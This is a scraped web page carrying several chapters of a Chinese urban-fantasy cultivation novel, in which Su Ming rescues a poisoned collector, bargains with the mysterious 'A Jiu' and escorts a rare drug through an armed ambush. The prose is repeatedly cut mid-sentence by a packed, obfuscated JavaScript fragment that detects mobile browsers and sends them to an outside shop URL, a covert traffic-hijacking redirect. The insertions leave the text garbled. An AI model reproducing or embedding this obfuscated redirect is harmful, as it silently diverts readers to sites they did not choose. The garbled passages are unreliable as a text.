RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17356236|199679||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一切发生在电光石火之间。苏明甚至没看清“阿九”是怎么刺的,刺中了哪里。 “阿九”看都没看倒地的“穿山甲”,弯腰捡起那个遥控器,在手里掂了掂,然后随手扔给了苏明。 “假的,吓唬人的。”她的声音清脆,但没什么情绪波动,“真的炸药控制器,在那个‘鼹鼠’身上,已经被你们的人搜走了吧。” 苏明接住遥控器,发现确实只是个空壳模型。他看向“阿九”,眼神带着警惕和疑惑:“你是谁?为什么在这里?” “‘阿九’。路过,顺便取点东西。”“阿九”言简意赅,目光扫过仓库,最后落在了那个被“穿山甲”放在角落、还没来得及收起的帆布袋上。 苏明立刻明白了。她也是冲着“伏藏”唐卡来的!螳螂捕蝉,黄雀在后! “东西是我们的任务目标。”苏明上前一步,拦在了帆布袋前。 “我知道。李寰宇的人嘛。”“阿九”似乎对李寰宇并不陌生,但也没表现出敌意,只是平静地看着苏明,“我对唐卡没兴趣,我要的是唐卡里夹着的那张‘路引’。” 路引?苏明一愣。唐卡里还夹了别的东西? “阿九”似乎看出他的疑惑,难得地多解释了一句:“一百年前,一个从黑水城逃出来的喇嘛,把一张记载了某个‘裂隙’入口的‘路引’,藏进了一卷伏藏唐卡的夹层。我要那张‘路引’。唐卡归你们。” 黑水城?裂隙?又是和黑水城有关!苏明心中震动。这个“阿九”,来历神秘,目标也指向黑水城。 “我怎么能确定你说的是真的?而且,就算有‘路引’,凭什么给你?”苏明没有让步。事关黑水城,他必须谨慎。 “你可以现在打开看看。”“阿九”似乎很有耐心,“至于凭什么给我……因为如果没有我,刚才这个蠢货可能真的会引爆那些炸药(虽然威力不大,但足够毁掉唐卡)。而且,我知道赵老头和他丢的那些东西在哪。” 赵老的下落!苏明眼神一凝。这确实是他目前最关心的。 “山魈”此刻已经控制了受伤的“变色龙”,警惕地看着“阿九”。 “苏先生?”外面传来“铁手”的询问。 “暂时没事,控制住外面,别让任何人进来。”苏明回了一句,然后看向“阿九”,“赵老在哪?东西呢?” “赵老头被他们喂了药,藏在这片厂区另一个废弃锅炉房的地下室里,暂时死不了,但时间久了就难说。至于那面铜镜和卷轴……”“阿九”顿了顿,“已经被‘影流会’的‘接货人’拿走了,就在你们来之前半小时。现在追,或许还来得及知道接货人是谁。” 铜镜和卷轴被转移了!“盗影”小组只是执行者,背后还有“接货人”! 苏明心念急转。如果“阿九”说的是真的,那么当务之急是救赵老,然后追查“接货人”。而那张所谓的“路引”,价值不明,但显然“阿九”很看重。 “我怎么能相信你?” “你可以不信。但赵老头的时间不多了。而且,”“阿九”看着苏明,眼神平静无波,“那张‘路引’对我很重要,对你们,目前没用。我用一个消息和赵老头的命,换一张你们暂时用不上的纸,很公平。或者,你们可以试试硬抢,看看能不能在我毁掉唐卡前抓住我。” 苏明盯着“阿九”,对方的气息很奇特,飘忽不定,修为似乎不比自己高多少,但给人一种极其危险、难以捉摸的感觉。她敢孤身潜入,定然有所依仗。 “好。你先带我们去救赵老。确认他安全,唐卡里的‘路引’归你。”苏明做出了决断。当务之急是救人,一张不知真假的“路引”,换取赵老的性命和“接货人”的线索,可以接受。 “成交。”“阿九”干脆利落,转身就朝仓库外走去,“跟上,动作快点。” 苏明示意“山魈”看着“变色龙”和现场,自己捡起帆布袋,快速跟上“阿九”。“铁手”看到苏明和一个陌生女孩出来,愣了一下,但没有多问,押着被制服的“鼹鼠”,一起跟上。 “阿九”对这片废弃厂区异常熟悉,在复杂的巷道和厂房间快速穿行,很快来到一个更加偏僻、几乎被杂草淹没的旧锅炉房。她撬开锈死的铁门,进入昏暗潮湿的内部,在一处堆满煤渣的角落,掀开一块沉重的铸铁盖板,露出一个向下的、狭窄的楼梯。 “下面。人还活着,但状态不好。有迷药和毒,最好带个懂医的。”“阿九”指了指下面,自己却没有下去的意思。 “铁手”朝“夜莺”打了个手势,“夜莺”立刻上前,从随身急救包里拿出防毒面具和检测仪,率先下去探查。几分钟后,她的声音从下面传来:“发现一名昏迷老者,生命体征微弱,有中毒迹象。需要立即送医!” 苏明心中一块石头落地,人还活着!“铁手”立刻联系外面待命的车辆和医护人员。 苏明将手中的帆布袋递给“阿九”:“‘路引’在里面,你自己取。我希望你没骗我关于‘接货人’的消息。” “阿九”接过帆布袋,动作麻利地解开,取出那卷古老的、描绘着复杂曼荼罗图案的“伏藏”唐卡。她手指在唐卡边缘摸索了几下,找到一处极其隐秘的接缝,用指甲一划,竟从夹层里抽出了一张巴掌大小、非帛非纸、颜色暗黄、上面用暗红色颜料画着复杂扭曲路线和几个奇异符号的薄片。 正是“路引”。 她看了一眼,确认无误,小心收好,然后将唐卡扔回给苏明。 “接货人开一辆黑色越野车,车牌被泥糊住了,但车尾有个不干胶贴纸,是‘极地探险俱乐部’的logo。车往北郊方向去了。我只能说这么多。”说完,“阿九”转身就走,几步就消失在锅炉房外的阴影中,速度极快,身法诡异。 “苏先生,要不要追?”“铁手”看向苏明。 苏明看着“阿九”消失的方向,摇了摇头:“追不上的。先救人,清理现场。‘接货人’的线索,立刻上报。” 救护车和后续处理人员很快赶到,将昏迷的赵老和受伤的“变色龙”带走,“鼹鼠”和“穿山甲”也被押上囚车。现场□□被专业排爆人员拆除。 苏明站在破败的锅炉房门口,看着远处闪烁的警灯和车灯,手里握着那卷失而复得的“伏藏”唐卡,心中并无太多喜悦。 “盗影”小组被端掉了,但铜镜和卷轴被转移了,神秘的“接货人”在逃。赵老生死未卜。还冒出了一个更加神秘、目标明确的“阿九”,以及一张指向“黑水城裂隙”的“路引”。 这次“捕鼠”行动,看似成功了,却又引出了更多的谜团和更深的漩涡。 “影流会”、“接货人”、“阿九”、黑水城…… 苏明握紧了唐卡。这条路,似乎越走,前方的迷雾就越浓。 但既然已经踏上,就没有回头的道理。 他收起唐卡,转身走向等候的车辆。 夜色更深,城市的灯火在远方闪烁。而黑暗中的狩猎,远未结束。 29. 养伤与变局 凌晨三点,市立医院急救中心灯火通明。苏明站在ICU病房外的玻璃窗前,看着里面浑身插满管子、戴着呼吸机的赵老。老人脸色灰败,气息微弱,但监护仪上起伏的线条,证明他还顽强地活着。 “医生,情况怎么样?”苏明问旁边一位刚出来的中年医生。 “中毒,深度昏迷,脏器有一定损伤,但好在送来得还算及时,而且中毒剂量不算致命,主要是混合型的神经抑制剂和代谢毒素。”医生摘下口罩,神情严肃,“我们已经做了血液净化,用了特效解毒剂,暂时没有生命危险,但什么时候能醒,能不能完全恢复,不好说。他年纪大了,身体底子也一般。” “谢谢医生。”苏明点头,看着病房里的老人,心中不是滋味。赵老只是个普通退休收藏家,因为手中有些特别的物件,就险些丢了性命。这个世界的暗面,对普通人来说太过残酷。 “苏先生,这边。” “铁手”在不远处招呼。 苏明走过去。“铁手”递给他一个文件夹:“初步审讯结果。‘鼹鼠’和‘变色龙’嘴很硬,但‘穿山甲’在救治时情绪崩溃,吐露了一些东西。他们确实是‘影流会’下属的‘盗影’小组,这次任务是受一个代号‘判官’的中间人雇佣,目标是搜集三样东西:赵老的铜镜和卷轴、‘墨云轩’的伏藏唐卡,以及西郊那个地质教授家里一块‘会发热的怪石头’。” “判官?中间人?” “对,据‘穿山甲’说,他们只和‘判官’单线联系,从未见过‘影流会’更高层的人。任务详情、目标信息、报酬,都是‘判官’通过加密渠道传递。铜镜和卷轴得手后,也是由‘判官’指定的‘接货人’取走。他们甚至不知道‘判官’是男是女,是老是少。” “那关于黑水城,或者‘幽冥道’,他们知道什么吗?”苏明问。 “穿山甲”表示不清楚,只说“判官”似乎对与古老遗迹、神秘宗教相关的东西特别感兴趣。“鼹鼠”和“变色龙”还没开口,但估计知道的多不了。” 苏明皱眉。线索在“判官”这里就断了。这个中间人藏得太深。 “那个‘接货人’和车辆信息,查了吗?” “查了。‘极地探险俱乐部’是真实存在的,一个高端户外探险机构,但那个车牌是套牌。那辆车最后消失在北郊出城高速的监控盲区,方向可能是往北边山区去了。已经安排人沿路追查,但希望不大。” 苏明接过文件夹,快速浏览。里面还有赵老丢失物品的照片和详细描述,以及“墨云轩”刘老板的口供(他醒来后对送水果礼盒的“快递员”毫无印象,只记得突然很困)。最后是“阿九”的简短侧写:身份不明,年龄约20-25岁,身手敏捷,疑似掌握特殊技巧,目标明确指向“黑水城”,危险等级待评估。 “李先生有什么指示?”苏明合上文件夹。 “李先生让你先休息。这次任务完成得很漂亮,端掉了‘盗影’小组,救回了赵老和唐卡。酬劳和贡献点会按约定发放。关于‘判官’、‘接货人’和‘阿九’的后续调查,会有专人跟进。你最近风头有点劲,建议低调一段时间,专心提升自己。” “铁手”传达道。 苏明明白。接连卷入“影流会”的事件,还正面冲突,虽然都占了上风,但必然会引起对方的注意和反弹。是时候蛰伏一下,消化所得,提升实力了。 “我明白了。赵老这边,麻烦多照看。” “放心,医院有我们的人。有情况会第一时间通知你。” 离开医院,天色已蒙蒙亮。苏明没有回家,而是先去了一趟“墨云轩”,将“伏藏”唐卡交还给惊魂未定的刘老板,并提醒他近期最好将贵重物品转移或加强安保。刘老板千恩万谢,硬塞给苏明一个红包,苏明推辞不过,收了。 回到出租屋,已是清晨。苏明关上门,拉好窗帘,这才彻底放松下来。连续一夜的潜伏、追踪、战斗,精神和身体都达到了极限。 他盘坐在聚灵阵中,先运转功法几个周天,平复心绪,恢复消耗的灵力。然后,他开始清点此次“捕鼠”行动的收获。 任务酬劳:二十五万(基础十五万+追加风险津贴五万+追踪奖金五万)已到账。 贡献点:80点(端掉“盗影”小组主要成员,解救赵老,追回唐卡)。 实物收获:那卷“伏藏”唐卡(已归还,但获得了阿九口中关于“路引”和“黑水城裂隙”的信息);“盗影”小组的部分装备(被“铁手”收缴,但苏明私下留下了“鼹鼠”的那个仪器箱和“变色龙”的几枚毒针样本,或许有用)。 自身提升:实战经验大幅增加,对“炎弹术”、“镇魂铃”、“破妄符”的运用更加熟练。与“盗影”这种专业团队的对抗,也让他对都市阴影下的战斗方式有了更直观的认识。 他打开李寰宇那边的资源清单,用新得的80贡献点,兑换了一瓶“益气丹”(10颗,可加速灵力恢复,辅助修炼,价值50点),和一本《基础符箓详解(初级篇)》的复印本(30点)。丹药立刻用贡献点兑换的“加密配送”服务送了过来,书则是电子版,发到了加密邮箱。 益气丹的效果比凝气丹温和,但更侧重于滋养经脉、快速恢复灵力,正好适合他目前巩固修为、消化战斗感悟的阶段。而《基础符箓详解》正是他急需的,里面详细记载了十几种常用基础符箓的绘制方法、灵力运转要点、以及变种应用,包括“火煞符”的几种强化绘制法、“金光护身符”、“神行符”、“匿踪符”、“清心符”等等。有了这个,他就可以尝试自己绘制更多种类的符箓,不必完全依赖兑换了。 接下来的一个星期,苏明进入了深度的“闭关”状态。除了必要的饮食和休息,他几乎将所有时间都投入到了修炼和学习中。 白天,修炼《玄天吐纳真解》,服用益气丹,在聚灵阵中稳步提升灵力,巩固炼气四层中期,并向后期迈进。同时,借助星髓之力,缓慢地、一丝丝地消磨着天师法印上那些顽固的“秽血封灵纹”,虽然进展缓慢,但能感觉到那些暗红纹路确实在一点点变淡。 晚上,研读《基础符箓详解》,用之前剩下的材料练习绘制新的符箓。他最先尝试的是“金光护身符”,这比“火煞符”难度更高,需要将金行灵气的“坚韧”、“守护”之意融入符纹。失败了十几次后,终于成功绘制出一张下品护身符,激发后能在身体表面形成一层淡淡的、持续约十分钟的金色光罩,防御力比他自己施展“金光护身咒”略强,但消耗的是符箓本身的灵力。这让他多了一种保命手段。 接着又尝试了“神行符”(成功,但效果只有兑换的低品神行符一半)、“匿踪符”(失败率极高,仅成一张残次品)和“清心符”(相对简单,成了几张)。绘制符箓的过程,本身就是对灵力精细操控的绝佳锻炼,几天下来,苏明感觉自己对灵力的掌控力又上了一个台阶。 与此同时,他也在不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17356237|199679||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 断练习“炎弹术”,努力压缩火焰,提高温度,减少施法前摇和灵力消耗。现在,他能在两秒内凝聚出威力稳定的炎弹,连续发射三发才会灵力见底,准头也越来越好。 一周后,苏明出关。整个人精气神内敛,眼神更加沉静锐利。虽然修为没有突破性的增长,但基础更加扎实,手段也更加丰富多样。 他打开手机,有几条未读信息。 一条是吴清风发来的,说打听到一点关于“血玉髓”和“阴魂木”的消息,似乎近期在地下交易市场有出现过,但很快被一个神秘买家高价收走,线索断了。 一条是医院那边“铁手”发来的,赵老在两天前苏醒了,但身体还很虚弱,记忆有些混乱,暂时无法提供更多关于袭击者的信息。不过,他对苏明这个“救命恩人”很是感激,醒来后第一时间就想见他。 还有一条,是李寰宇那边发来的加密简报,关于“判官”和“接货人”的调查进展:线索在北方边境附近一个偏远小镇彻底断了,那辆黑色越野车被发现丢弃在荒野,车内清理得很干净。“判官”的真实身份和“接货人”的下落,依然成谜。但情报部门分析,“判官”很可能与“影流会”中一个负责“物资收集与处理”的部门有关,这个部门专门搜罗各种可能与修行相关的古物、材料、情报。“阿九”的身份也在查,但同样没有头绪,只知道她最近半年才在国内活跃,目标似乎非常明确地指向“黑水城”及相关遗迹。 简报最后提醒:“影流会”近期在边境和西北地区的活动有明显增加迹象,可能与“黑水城”有关。近期若无必要,尽量避免前往相关区域。有新的、适合你的任务,会再联系。 苏明放下手机,走到窗边,看着外面车水马龙的城市。表面平静,暗流却愈发汹涌。“影流会”在行动,“阿九”在寻找黑水城,“判官”在幕后搜集特殊物品……一切都指向那个神秘的“黑水城”。 他摸了摸口袋里的天师法印。这方印,也是开启黑水城某个禁制的“钥匙”。自己,似乎已经身不由己地被卷入了这个巨大的漩涡中心。 “仙尊,黑水城,到底是个什么地方?”苏明在心中问道。 凌虚子沉默片刻,缓缓道:“本座对此界地理不甚了然。然‘黑水’之名,在上古传说中,多指冥河、忘川,或与幽冥、死亡、遗忘之地相关。若此地真以‘黑水’为名,恐非善地。且涉及‘幽冥道’、‘钥匙’、‘裂隙’,其凶险,恐怕远超你之前所遇。以你目前修为,贸然探寻,十死无生。” 十死无生。苏明心中一凛。但凌虚子越是这么说,他心中那股想要探究真相、获取力量的念头,反而越发强烈。 危险与机遇并存。他知道,想要在这个越来越不平静的世界立足,想要保护自己,甚至探索更广阔的天地,就必须变强,必须了解更多秘密。黑水城,或许就是一把钥匙,一扇门,门后可能是深渊,也可能是……通途。 但现在,还不是时候。 他需要更强的实力,更多的准备,更充分的了解。 苏明深吸一口气,将纷乱的思绪压下。眼下,先去医院看看赵老,然后……继续自己的“快递”生涯,在看似平凡的日常中,积累力量,等待时机。 他换好衣服,拿起手机和车钥匙,走出门。 阳光正好,城市依旧喧嚣。而苏明知道,在这片喧嚣之下,一场更大的风暴,或许正在悄然酝酿。 而他,已经身在局中。 30. 新的委托 三天后的清晨,苏明盘坐在聚灵阵中,缓缓收功。丹田内灵力充盈,运转间圆融无碍,比一周前强了至少三成。炼气四层中期的修为彻底稳固,隐隐有向后期迈进的趋势。 他睁开眼,拿起手机,上面有几条新信息。一条是“铁手”发来的,赵老已转入普通病房,状态稳定,对那晚的事记忆依旧模糊,但能确认自己是在家中被一个冒充物业检修人员的陌生男子用某种喷雾迷晕的。他对自己收藏的铜镜和卷轴被夺,感到极为痛心,尤其是那卷轴,据说是他早年考察一处古遗址时偶然所得,材质不明,上面的文字也无人能识,但隐隐让他感到不安。 另一条是吴清风发来的,询问他是否有空,想请他去看看那方天师法印,他托了几位老友,找到一种或许能削弱“秽血封灵纹”的古法,需要苏明配合一试。 苏明想了想,先回复吴清风,约了下午见面。然后换了身衣服,准备出门送几单积压的普通快递。虽然账户里还有几十万,但坐吃山空不是他的风格,而且“快递员”这个身份,是他接触这个城市、获取信息和“特殊订单”最好的掩护。 他发动电瓶车,刚驶出巷子,手机震动了。是同城速递APP的特殊订单提示。 订单类型:紧急求助(特殊物品押运) 取件地址:城南新区,“寰宇生物科技”研发中心,B栋负三层实验室。 送达地址:东郊“静心疗养院”,特殊病房区。 货物描述:特制低温恒温运输箱(内有“高活性生物治疗制剂”,需全程-80℃保存)。 备注:制剂极其珍贵,活性保存期极短,制备成功后需在6小时内完成注射。运输箱配备独立电源、温控和定位系统。需由具备专业冷链运输经验、且心理素质过硬的人员押运。运送途中可能遭遇不可预知风险(包括但不限于交通意外、人为拦截),押运员需有能力处理突发状况,确保制剂安全。运费:五万元。可预付一半。联系人:白主任(电话:188xxxx9999)。 寰宇生物科技?李寰宇的公司?苏明眉头一挑。这单明显是李寰宇那边的事,而且点名了“可能遭遇不可预知风险”、“需有能力处理突发状况”,看来这所谓的“高活性生物治疗制剂”非同小可,护送任务可能有危险。 五万运费,不低。但风险提示也很明确。接,还是不接? 苏明没有立刻决定,而是先拨通了那个白主任的电话。电话很快接通,一个略显疲惫但条理清晰的女声传来:“喂,哪位?” “白主任您好,我是迅风快递的苏明,看到您发布的订单。” “苏先生?”白主任声音一顿,似乎和旁边人低声确认了什么,然后语气明显客气了些,“苏先生,李先生提过您。这个订单情况特殊,如果您能接,最好能尽快来研发中心一趟,有些情况需要当面和您说明,也需要您亲自检查一下运输设备和路线。” “好,我现在过去。”苏明挂断电话,调转车头,朝城南新区驶去。 半小时后,苏明站在“寰宇生物科技”研发中心B栋负三层的实验室外。这里的安保级别极高,进出需要多重身份验证和消毒程序。白主任是个四十岁左右、戴着金丝眼镜、气质干练的女博士,亲自在门口接他。 “苏先生,请跟我来,时间紧迫。”白主任没有废话,带着苏明穿过几道厚重的气密门,进入一间充满高科技仪器、温度明显偏低的实验室。 实验室中央的操作台上,放着一个银白色、约行李箱大小的特制金属箱。箱子外壳布满各种指示灯和液晶屏,显示着内部温度:-79.8℃。箱子侧面连接着粗大的电缆,接在墙上的不间断电源上。 “箱子里是‘NX-7型定向细胞再生诱导剂’,目前只有这一份成品。”白主任指着箱子,语气凝重,“是专门为李先生的一位……非常重要的长辈准备的。老先生年事已高,身体机能严重衰退,且患有几种罕见并发症,常规治疗手段已经无效。‘NX-7’是目前唯一的希望,它能定向激活老先生体内残存的干细胞,配合特定的基因靶点,尝试修复受损最严重的几个器官。但它的活性只能维持六小时,从制备完成开始计时。现在,已经过去一小时二十分钟了。” 苏明看着那个箱子,心中了然。这哪是什么“生物治疗制剂”,这分明是李寰宇动用尖端生物科技,甚至是融合了某些修行理念(比如激活生机、修复本源),为至亲之人准备的“续命神药”!难怪如此重要,也难怪提示有风险——这种能逆天改命的东西,一旦消息走漏,觊觎者恐怕不计其数。 “从研发中心到静心疗养院,不堵车的情况下大约需要四十分钟。考虑到可能的风险和意外,我们预留了两个小时的安全时间。”白主任继续道,“运输箱有独立的超低温维持系统和备用电源,理论上可以支撑八小时。但它不能经受剧烈震荡、高温、强电磁干扰,否则可能失效。我们会提供一辆经过防弹、防爆、电磁屏蔽改装的特种医疗运输车,由你驾驶。路线已经规划好,我们会实时监控。但……” 她看着苏明,眼神严肃:“我们收到一些模糊的预警,可能有不明势力对这份‘制剂’感兴趣,或者想阻止它送达。路上可能有麻烦。李先生的意思是,如果你接下这个任务,我们会尽一切可能提供支持,但你必须有心理准备,可能会面对……非常规的拦截。” 苏明沉默片刻。风险确实很大。但报酬丰厚,而且这是李寰宇的私事,如果能办好,无疑能极大加深双方的信任和联系。对他未来获取资源、情报,甚至探寻黑水城秘密,都有好处。 “我接。”苏明点头,“但我需要知道你们能提供什么支持,以及,如果真遇到拦截,我的权限是什么?可以做到什么程度?” “车辆本身是防弹级别,有主动防御系统(电击、烟雾),但没有致命武器。我们会安排两组护卫车辆,一前一后,保持一定距离,由我们的人驾驶,他们会携带必要装备处理常规威胁。你的任务是确保‘制剂’箱的安全,万一护卫车辆被阻或发生意外,你可以根据情况,在确保‘制剂’安全的前提下,选择变更路线、隐蔽,或寻求其他方式送达疗养院。李先生授权,在极端情况下,你可以采取一切必要手段保护‘制剂’和人。我们的人会配合你。”白主任递过一个加密通讯器,“用这个和我们保持联系,频道加密。另外,这是车钥匙和路线图。现在,还有四小时四十分钟。” 时间紧迫。苏明不再犹豫,接过钥匙和通讯器:“现在出发。” 五分钟后,苏明驾驶着那辆外观低调、但内部结构明显加强、玻璃颜色很深的黑色厢式货车,驶出了研发中心。前后各有一辆黑色的SUV护卫,保持约五十米距离。通讯器里传来前车护卫的声音:“苏先生,路线已确认,我们将全程护航。请注意,从研发中心到三环主路这段,是相对空旷的快速路,需特别注意。完毕。” “收到。”苏明平稳地握着方向盘,将车速控制在六十码左右。货车驾驶位视野很好,仪表盘上显示着车厢内恒温箱的各项参数,一切正常。他将一丝灵力缓缓扩散在车内,感知着周围。 前半个小时,一路顺畅。车子驶上三环,车流稍多,但还算通畅。苏明精神高度集中,同时在心里和凌虚子交流。 “仙尊,能感知到周围有什么异常吗?” “暂无。不过,前方约一公里处,有桥梁,桥下空间复杂,是理想的伏击地点。”凌虚子提醒。 苏明看了一眼导航,果然,马上要经过一座立交桥。他立刻对着通讯器说道:“前方即将通过复兴立交桥,注意桥下和两侧辅路。” “收到。前车加速,先行探查桥下区域。后车拉近距离,注意侧翼。”护卫队长回应。 前车SUV加速,率先驶入桥下阴影。苏明紧随其后,目光快速扫视着桥墩后方和上方的桥面。 突然! “砰!” 一声闷响从前方传来!紧接着是刺耳的刹车和金属碰撞声!通讯器里响起前车护卫急促的呼叫:“遇袭!桥墩后冲出一辆货车横挡!有枪!对方有备而来!苏先生,不要停车,加速冲过去!我们拖住他们!” 苏明瞳孔一缩,从挡风玻璃看到,前方桥墩后猛地冲出一辆没有牌照的渣土车,车身一横,几乎将三股车道全部堵死!前车SUV因为提前加速,在渣土车完全横过来前,车头狠狠撞在了渣土车侧厢上,被迫停下!车上下来的护卫正依托车身,与从渣土车后和桥墩阴影中冲出的几个持枪蒙面人交火!枪声大作! “后车!掩护苏先生!尝试从右侧应急车道挤过去!”护卫队长在通讯器里吼道。 后车SUV立刻加速上前,试图用车身挡住右侧可能射来的子弹,并寻找缝隙。 苏明猛踩油门,厢式货车发出低沉的轰鸣,朝着被撞得有些倾斜的渣土车和桥墩之间那狭窄的缝隙冲去!他必须冲过去!一旦被堵在这里,对方人多火力猛,后果不堪设想! “砰!砰!砰!” 子弹打在货车防弹玻璃和车身上,发出沉闷的响声,留下一个个白点,但无法穿透。 就在货车即将冲过缝隙的瞬间,苏明眼角余光瞥见,旁边一辆原本停在应急车道、看似抛锚的轿车,车门突然打开!一个穿着灰色风衣、戴着口罩的身影,以远超常人的速度,猛地朝着货车驾驶室扑来!他手中没有枪,而是握着一把造型古怪的、像是注射枪的东西,枪口对准了驾驶室车窗! 不是普通劫匪!是超凡者!目标是车内的人或者……让车停下来! 苏明心中警铃狂响!他猛打方向盘,货车车身剧烈一晃,险之又险地避开了那注射枪的枪口。但那个灰衣人动作极快,一击不中,竟如壁虎般攀附在了货车右侧后视镜附近,手中的注射枪再次抬起,这一次,枪口前端似乎有幽蓝的电弧闪烁! “滋啦!” 一道肉眼可见的蓝色电弧,如同鞭子般抽向驾驶室侧窗!电弧与防弹玻璃接触,发出刺耳的爆鸣,玻璃表面瞬间蔓延开蛛网般的裂纹!虽然没碎,但显然承受不住第二下! 与此同时,苏明感觉到一股阴冷、麻痹的能量,试图透过玻璃缝隙侵入车内!是电击,混合了某种能量攻击! “找死!”苏明眼中厉色一闪,左手稳着方向盘,右手并指如剑,指尖赤红光芒凝聚,一颗压缩到极限的“炎弹”瞬间成型,他没有发射,而是将手指猛地按在了出现裂纹的玻璃内侧,低喝:“破!” “轰!” 炎弹在玻璃内侧紧贴处爆开!炽热的火行灵力混合着物理冲击,瞬间将本就濒临破碎的防弹玻璃炸开一个大洞!灼热的气流和火焰残渣,如同怒龙般喷向车外紧贴的灰衣人! 那灰衣人显然没料到苏明会用这种近乎自残的方式反击,更没想到这火焰如此炽热暴烈!他怪叫一声,身上灰光一闪,似乎有护体能量,但仍被火焰和冲击波扫中,口罩和风衣瞬间焦黑,整个人如同被重锤击中,从车上跌落下去,在地上翻滚几圈,勉强站起,但显然受了不轻的伤,不敢再追。 货车呼啸着冲过了渣土车和桥墩的缝隙,将枪声和混乱甩在身后。后视镜里,苏明看到后车SUV也强行冲了过来,车身上有几个弹孔,但依旧顽强地跟在后面。前车那边,枪声似乎稀疏了些,护卫们依托车辆和地形,暂时挡住了袭击者。 “苏先生!你没事吧?”通讯器里传来后车护卫焦急的声音。 “没事。‘制剂’箱安全。继续按原路线前进,加快速度!”苏明冷静回复,同时看了一眼仪表盘,恒温箱参数稳定。刚才的爆炸冲击,被货车优秀的悬挂和恒温箱自身的防震系统吸收了。 “明白!已通知警方和支援,他们会处理现场。我们护送你直达疗养院!” 接下来的路程,再没有遭遇拦截。或许对方也没料到这次护送如此强硬,且护卫反应迅速。二十分钟后,两辆车一前一后,顺利抵达了位于东郊山麓、环境幽静的“静心疗养院”。 早就等候在门口的白主任和几名医护人员,立刻冲了上来。苏明停稳车,跳下驾驶室,打开货厢门。白主任亲自带人,小心翼翼地将那个银白色恒温箱转移到一台带轮子的专业设备上,然后快速推向疗养院内一栋独立的、守卫森严的小楼。 “苏先生,大恩不言谢!您先在此休息,李先生稍后会联系您!”白主任匆匆留下一句,便跟着恒温箱消失在楼内。 苏明靠坐在货车引擎盖上,长出了一口气。刚才桥上那短短几十秒的交锋,虽然短暂,但凶险异常。那个灰衣人,绝对是修士或拥有类似能力者,而且目标明确,就是冲着让运输中断来的。看来,李寰宇这边的“家务事”,水也很深。 他检查了一下自己,除了右臂之前伤口附近被玻璃碎片划破了一点皮,并无大碍。灵力消耗了约三成,主要是凝聚和引爆那颗贴玻璃的炎弹消耗较大。 几分钟后,李寰宇的通讯直接打了过来。 “苏明,干得漂亮。”李寰宇的声音透过通讯器传来,带着一丝不易察觉的如释重负,“白主任说‘制剂’安全送达,已经开始注射。老爷子那边,就看天意了。这次的事,我欠你一个大人情。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17356238|199679||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “李董言重了,分内之事。”苏明回答。 “桥上袭击者,我们的人抓到了一个活口,其他的都自尽了。是‘永生制药’雇的佣兵,那个灰衣人,是他们秘密培养的‘基因调整体’,有点麻烦。‘永生制药’一直是我们商业和研发上的对头,看来他们是得到风声,想阻止老爷子恢复,打击寰宇的士气,甚至想夺取‘NX-7’的样本。”李寰宇语气转冷,“这笔账,我会跟他们算。你最近小心点,‘永生制药’手段下作,可能会迁怒于你。报酬已经翻倍打到你的账户。另外,我让白主任准备了一份‘NX-7’的衍生品——‘初级细胞活化剂’,虽然远不如原版,但对修复暗伤、强化体魄有些好处,算是我一点心意,稍后让人送给你。” “谢谢李董。”苏明没有拒绝。他现在确实需要这类强化身体、加速恢复的东西。 “好好休息。接下来一段时间,如果没有紧急事务,我不会给你安排任务。你自己也低调些。等老爷子情况稳定,我们再详谈。”李寰宇说完,便结束了通讯。 很快,苏明账户收到了十万转账,比约定的五万翻了一倍。随后,一个密封的小型冷藏箱被送到他手中,里面是三支淡蓝色的注射剂,正是“初级细胞活化剂”。 苏明将货车钥匙交给疗养院的工作人员,婉拒了派车送他回去的提议,自己叫了辆网约车离开。 回到家,锁好门,苏明先处理了一下手臂的小伤口,然后取出那支“初级细胞活化剂”,仔细阅读了使用说明。这是一种肌肉注射剂,能温和刺激细胞新陈代谢,修复细微损伤,增强免疫力,对长期修炼和战斗留下的暗伤有调理作用。 他没有立刻注射,而是先盘坐调息,将状态恢复到最佳,然后才按照说明,将一支药剂注射进上臂肌肉。 一股温和的暖流从注射点扩散开来,迅速流遍四肢百骸。不同于烈阳丹的炽热,也不同于益气丹的温补,这股药力更加偏向于滋润和修复,仿佛干涸的土地得到了春雨的浸润,全身细胞都发出欢愉的轻吟。他能感觉到,右臂那道旧伤疤痕下的细微组织,正在加速愈合,一些以前未曾察觉的、因快速修炼和战斗留下的细微经脉劳损,也在被缓缓抚平。 “不错的凡俗药物。虽无灵力,但调理肉身、夯实根基,对你现阶段颇有益处。”凌虚子评价道。 苏明点点头,闭目引导着药力,配合功法,滋养全身。 两个小时后,药力被完全吸收。苏明睁开眼,感觉神清气爽,精力充沛,连皮肤都似乎更有光泽了一些。更重要的是,他感觉身体状态前所未有的好,仿佛卸下了一些无形的负担,灵力运转都更加顺畅了。 “看来,李寰宇这份‘心意’,分量不轻。”苏明暗忖。这不仅仅是报酬,更是一种认可和投资。 他看了看时间,下午三点。和吴清风约的是四点半。 苏明换了身衣服,将天师法印小心包好,出门赴约。 